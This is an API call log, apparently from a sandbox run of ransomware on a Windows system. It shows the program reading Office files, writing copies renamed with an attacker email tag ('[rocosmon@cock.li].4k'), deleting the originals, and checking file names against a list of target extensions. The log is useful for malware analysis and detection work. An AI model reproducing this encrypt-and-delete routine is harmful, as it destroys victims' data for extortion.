	[0099.559] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x91975, lpOverlapped=0x0) returned 1
	[0099.597] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x91980, lpOverlapped=0x0) returned 1
	[0099.860] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0099.860] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0099.860] SetEndOfFile (hFile=0x184) returned 1
	[0099.926] CloseHandle (hObject=0x184) returned 1
	[0099.927] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.927] SetEndOfFile (hFile=0x18c) returned 1
	[0099.933] CloseHandle (hObject=0x18c) returned 1
	[0099.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0099.933] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1
	[0099.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.934] lstrlenW (lpString=".doc") returned 4
	[0099.934] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.934] lstrlenW (lpString=".docx") returned 5
	[0099.934] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1
	[0099.934] lstrlenW (lpString=".pdf") returned 4
	[0099.934] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.934] lstrlenW (lpString=".xls") returned 4
	[0099.934] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.934] lstrlenW (lpString=".xlsx") returned 5
	[0099.934] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1
	[0099.934] lstrlenW (lpString=".ppt") returned 4
	[0099.934] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.934] lstrlenW (lpString=".zip") returned 4
	[0099.934] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.934] lstrlenW (lpString=".rar") returned 4
	[0099.934] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.934] lstrlenW (lpString=".bz2") returned 4
	[0099.934] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.934] lstrlenW (lpString=".7z") returned 3
	[0099.934] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.934] lstrlenW (lpString=".dbf") returned 4
	[0099.934] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.935] lstrlenW (lpString=".1cd") returned 4
	[0099.935] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.935] lstrlenW (lpString=".jpg") returned 4
	[0099.935] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.935] lstrlenW (lpString=".doc") returned 4
	[0099.935] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.935] lstrlenW (lpString=".docx") returned 5
	[0099.935] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1
	[0099.935] lstrlenW (lpString=".pdf") returned 4
	[0099.935] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.935] lstrlenW (lpString=".xls") returned 4
	[0099.935] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.935] lstrlenW (lpString=".xlsx") returned 5
	[0099.935] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1
	[0099.935] lstrlenW (lpString=".ppt") returned 4
	[0099.935] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.935] lstrlenW (lpString=".zip") returned 4
	[0099.935] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.935] lstrlenW (lpString=".rar") returned 4
	[0099.935] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.935] lstrlenW (lpString=".bz2") returned 4
	[0099.935] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.935] lstrlenW (lpString=".7z") returned 3
	[0099.936] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.936] lstrlenW (lpString=".dbf") returned 4
	[0099.936] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.936] lstrlenW (lpString=".1cd") returned 4
	[0099.936] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0099.936] lstrlenW (lpString=".jpg") returned 4
	[0099.936] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.936] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0099.936] lstrlenW (lpString="OfficeMUI.XML") returned 13
	[0099.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0099.937] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=5557) returned 1
	[0099.937] CloseHandle (hObject=0x18c) returned 1
	[0099.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20
	[0099.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0099.938] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.938] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0099.938] GetLastError () returned 0x0
	[0099.938] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x15b5, lpOverlapped=0x0) returned 1
	[0099.973] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x15c0, lpOverlapped=0x0) returned 1
	[0099.974] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0099.974] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0099.974] SetEndOfFile (hFile=0x184) returned 1
	[0099.974] CloseHandle (hObject=0x184) returned 1
	[0099.975] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.975] SetEndOfFile (hFile=0x18c) returned 1
	[0099.976] CloseHandle (hObject=0x18c) returned 1
	[0099.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0099.976] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1
	[0099.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.981] lstrlenW (lpString=".doc") returned 4
	[0099.981] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.982] lstrlenW (lpString=".docx") returned 5
	[0099.982] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0099.982] lstrlenW (lpString=".pdf") returned 4
	[0099.982] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.982] lstrlenW (lpString=".xls") returned 4
	[0099.982] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.982] lstrlenW (lpString=".xlsx") returned 5
	[0099.982] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0099.982] lstrlenW (lpString=".ppt") returned 4
	[0099.982] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.982] lstrlenW (lpString=".zip") returned 4
	[0099.982] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.982] lstrlenW (lpString=".rar") returned 4
	[0099.982] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.982] lstrlenW (lpString=".bz2") returned 4
	[0099.982] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.982] lstrlenW (lpString=".7z") returned 3
	[0099.982] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.982] lstrlenW (lpString=".dbf") returned 4
	[0099.982] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.982] lstrlenW (lpString=".1cd") returned 4
	[0099.982] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.982] lstrlenW (lpString=".jpg") returned 4
	[0099.982] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.983] lstrlenW (lpString=".doc") returned 4
	[0099.983] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0099.983] lstrlenW (lpString=".docx") returned 5
	[0099.983] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0099.983] lstrlenW (lpString=".pdf") returned 4
	[0099.983] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0099.983] lstrlenW (lpString=".xls") returned 4
	[0099.983] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0099.983] lstrlenW (lpString=".xlsx") returned 5
	[0099.983] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0099.983] lstrlenW (lpString=".ppt") returned 4
	[0099.983] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0099.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.983] lstrlenW (lpString=".zip") returned 4
	[0099.983] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0099.983] lstrlenW (lpString=".rar") returned 4
	[0099.983] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0099.983] lstrlenW (lpString=".bz2") returned 4
	[0099.983] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0099.983] lstrlenW (lpString=".7z") returned 3
	[0099.983] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0099.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.983] lstrlenW (lpString=".dbf") returned 4
	[0099.983] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0099.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.983] lstrlenW (lpString=".1cd") returned 4
	[0099.983] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0099.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0099.983] lstrlenW (lpString=".jpg") returned 4
	[0099.984] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0099.984] lstrcmpiW (lpString1=".CHM", lpString2=".4k") returned 1
	[0099.984] lstrlenW (lpString="PSS10O.CHM") returned 10
	[0099.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0099.984] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=26929) returned 1
	[0099.984] CloseHandle (hObject=0x18c) returned 1
	[0099.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20
	[0099.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0099.985] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.985] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184
	[0099.985] GetLastError () returned 0x0
	[0099.985] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x6931, lpOverlapped=0x0) returned 1
	[0100.060] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x6940, lpOverlapped=0x0) returned 1
	[0100.061] ReadFile (in: hFile=0x18c, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.061] WriteFile (in: hFile=0x184, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0100.061] SetEndOfFile (hFile=0x184) returned 1
	[0100.061] CloseHandle (hObject=0x184) returned 1
	[0100.062] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.062] SetEndOfFile (hFile=0x18c) returned 1
	[0100.063] CloseHandle (hObject=0x18c) returned 1
	[0100.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.063] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1
	[0100.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.079] lstrlenW (lpString=".doc") returned 4
	[0100.079] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0100.079] lstrlenW (lpString=".docx") returned 5
	[0100.079] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1
	[0100.079] lstrlenW (lpString=".pdf") returned 4
	[0100.079] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0100.079] lstrlenW (lpString=".xls") returned 4
	[0100.079] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0100.079] lstrlenW (lpString=".xlsx") returned 5
	[0100.079] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1
	[0100.079] lstrlenW (lpString=".ppt") returned 4
	[0100.079] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0100.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.080] lstrlenW (lpString=".zip") returned 4
	[0100.080] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0100.080] lstrlenW (lpString=".rar") returned 4
	[0100.080] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0100.080] lstrlenW (lpString=".bz2") returned 4
	[0100.080] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0100.080] lstrlenW (lpString=".7z") returned 3
	[0100.080] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0100.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.080] lstrlenW (lpString=".dbf") returned 4
	[0100.080] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0100.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.080] lstrlenW (lpString=".1cd") returned 4
	[0100.080] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0100.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.080] lstrlenW (lpString=".jpg") returned 4
	[0100.080] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0100.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.081] lstrlenW (lpString=".doc") returned 4
	[0100.081] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0100.081] lstrlenW (lpString=".docx") returned 5
	[0100.081] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1
	[0100.081] lstrlenW (lpString=".pdf") returned 4
	[0100.081] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0100.081] lstrlenW (lpString=".xls") returned 4
	[0100.081] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0100.081] lstrlenW (lpString=".xlsx") returned 5
	[0100.081] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1
	[0100.081] lstrlenW (lpString=".ppt") returned 4
	[0100.081] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0100.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.081] lstrlenW (lpString=".zip") returned 4
	[0100.081] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0100.081] lstrlenW (lpString=".rar") returned 4
	[0100.081] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0100.081] lstrlenW (lpString=".bz2") returned 4
	[0100.081] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0100.081] lstrlenW (lpString=".7z") returned 3
	[0100.081] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0100.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.081] lstrlenW (lpString=".dbf") returned 4
	[0100.081] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0100.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.082] lstrlenW (lpString=".1cd") returned 4
	[0100.082] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0100.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103
	[0100.082] lstrlenW (lpString=".jpg") returned 4
	[0100.082] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0100.082] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.082] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0100.083] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=9352) returned 1
	[0100.083] CloseHandle (hObject=0x18c) returned 1
